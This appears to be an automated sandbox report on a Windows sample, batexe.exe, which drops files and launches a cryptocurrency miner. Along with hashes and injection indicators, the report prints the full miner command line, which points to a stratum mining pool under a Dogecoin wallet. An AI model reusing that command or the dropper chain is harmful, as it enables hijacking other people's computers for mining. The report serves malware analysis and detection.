73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
293s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 16:24

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5048	b2e.exe
1104	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1104	cpuminer-sse2.exe
1104	cpuminer-sse2.exe
1104	cpuminer-sse2.exe
1104	cpuminer-sse2.exe
1104	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2108-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 5048	2108	batexe.exe	75
PID 2108 wrote to memory of 5048	2108	batexe.exe	75
PID 2108 wrote to memory of 5048	2108	batexe.exe	75
PID 5048 wrote to memory of 4348	5048	b2e.exe	76
PID 5048 wrote to memory of 4348	5048	b2e.exe	76
PID 5048 wrote to memory of 4348	5048	b2e.exe	76
PID 4348 wrote to memory of 1104	4348	cmd.exe	79
PID 4348 wrote to memory of 1104	4348	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Users\Admin\AppData\Local\Temp\9385.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9385.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9385.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\952B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9385.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\9385.tmp\b2e.exe

Filesize
14.0MB

MD5
c1549e38054f875cf1517324e2ef3ca9

SHA1
b502120485e1959c2373e062c97f2f4620199328

SHA256
cf188d70da4fced60af12cfd91a103c7ca7993a043ad1ecbec159b8bbd467ffb

SHA512
2f2d3ded91f4cfc8d762f496690b0606f341bcf0924999fd0b61f4ae8522cf2b7c8ed3a0d3b951eafa857ed1bdca0dbbe927a7cc916a362efdd46afaaaa91272

Download Submit
C:\Users\Admin\AppData\Local\Temp\952B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14.7MB

MD5
f011483b585be56850423cdd991b7028

SHA1
cbb6897f3eb1d286d491eb6d2162bc65409647e8

SHA256
7cddb8d572733874a517bc79b8be71f7fb2b80d5392ed9559db5a68de3c531ff

SHA512
81cba8cb4a186af98db357d981fcc161f124411724e1d85071dcb655d136361e480283c23f26c9ca3558e69bfb143fe6cb85bbc8735d115edb78160fc9852dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.0MB

MD5
b3be34f9838eed57e496fe84bc9b4e73

SHA1
e5611d32d542f3fb94b13a4c8b6396303a7cb0e5

SHA256
212e6dd1c86a973a6f819a9fa37687de933d8e74c61253b9b8a6067acf720eae

SHA512
a930117d3db61fdbe3eb704875ab40db336803fa60a529977f2890c86ead8ace0c023954e7df563cfea4c6d7bbf1f897420b69e18beb4fae61f23a38ea417b9f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.5MB

MD5
8460f0931477527f11469ea7caf4d930

SHA1
bd9b1ca9032bcda0ad00d84092a845cf0315a797

SHA256
605fdd430e98794b2eaf92b556074437cc28e74ebf6aca4e2e8ac0bd29848c24

SHA512
dc7c243744f313b370bc968c4e30eb611663c1e74c07f6233cda7cb630cd22177bbcc087d5c076a77ce3567adc52c6772323099742557b442e25a96f6f74a76d

Download Submit
memory/1104-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-98-0x000000006DD80000-0x000000006DE18000-memory.dmp

Filesize
608KB

Download
memory/1104-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1104-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1104-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/1104-42-0x000000006DD80000-0x000000006DE18000-memory.dmp

Filesize
608KB

Download
memory/1104-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-63-0x000000006DD80000-0x000000006DE18000-memory.dmp

Filesize
608KB

Download
memory/1104-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1104-78-0x000000006DD80000-0x000000006DE18000-memory.dmp

Filesize
608KB

Download
memory/2108-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5048-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5048-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download